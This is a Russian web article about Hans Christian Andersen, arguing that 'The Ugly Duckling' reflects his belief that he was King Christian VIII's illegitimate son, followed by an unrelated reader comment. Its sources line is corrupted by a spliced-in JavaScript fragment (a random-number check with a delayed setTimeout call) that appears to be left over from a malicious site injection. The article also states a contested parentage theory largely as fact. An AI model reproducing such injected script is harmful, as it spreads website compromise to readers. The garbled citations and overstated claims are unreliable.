Знаете ли вы, что сказка Андерсена «Гадкий утенок» вовсе не о внутренней красоте, которая выше внешней. Сам сказочник объяснял, что лебедь это настоящий аристократ, который случайно попал в окружение простолюдинов. Самое интересное, что этого лебедя Андерсен списал именно с себя, ведь он искренно считал своим отцом короля Кристиана VIII.
Сын обувщика и прачки, Ганс Христиан Андерсен жил в бедности такой отталкивающей, что у него не было друзей, кроме (!) сына короля Кристиана Фредерика. Как писал Андерсен в своей автобиографии, с 5 лет его регулярно привозили в замок в Оденсе поиграть с принцем. Дружба с Фредериком продолжалась и во взрослом возрасте, и Андерсен был единственным, кроме родственников, кто присутствовал на его похоронах.
Биографы Андерсена считали, что то, что он писал о своей семье — фикция, но недавно историк Ян Йоргенсон выяснил, что в год рождения Андерсена у датского тогда еще принца Кристиана и аристократки Элизы Лаурвиг родился внебрачный ребенок, его отдали в приемную семью.
Королевская семья помогала сыну сапожника на протяжении многих лет. Ганс Христиан вынужден был оставить школу, но затем королевская семья оплатила его дальнейшее обучение, а позже его устроили работать в Королевский театр Копенгагена.
Ганс Христиан Андерсен не был выдающимся учеником, к тому же он был старше своих одноклассников на 7 лет, они дразнили его, а учителя смеялись над сыном неграмотной прачки, который собирается стать писателем. Годы учебы Андерсен называл самыми горькими в его жизни, а каково ему приходилось описано в сказке о гадком утенке. Но уже первая книжка принесла успех автору, в Англии его назвали « самым великим из живущих писателей», а обижавшие юного Андерсена « утки и куры» получили именно то, что им полагалось по их низкому происхождению — они не совершили ничего великого.
Может быть, Андерсен и сочинил сказку о своем высоком — лебедином — происхождении, но, когда он умер, на его похоронах присутствовали члены датской королевской фамилии.
Источники: andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andinews.fi” target=”_blank” rel=”noopener”>scandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andinews.fi; latimes.com
Андерсен злился, когда его называли детским сказочником, и говорил, что пишет сказки как для детей, так и для взрослых. По этой же причине он приказал, чтобы на его памятнике, где первоначально сказочника должны были окружать дети, не было ни одного ребёнка. Сказку Андерсена «Новое платье короля» разместил в первом букваре Л. Н. Толстой. В оригинале она именуется «Новое платье императора», но в русском переводе название было по цензурным соображением изменено. В западных языках выражение «новое платье императора» стало крылатым, подобно выражению «новое платье короля» в русском.
расскажите что будет с 1001 викториной, стоит ли ждать рестарт проекта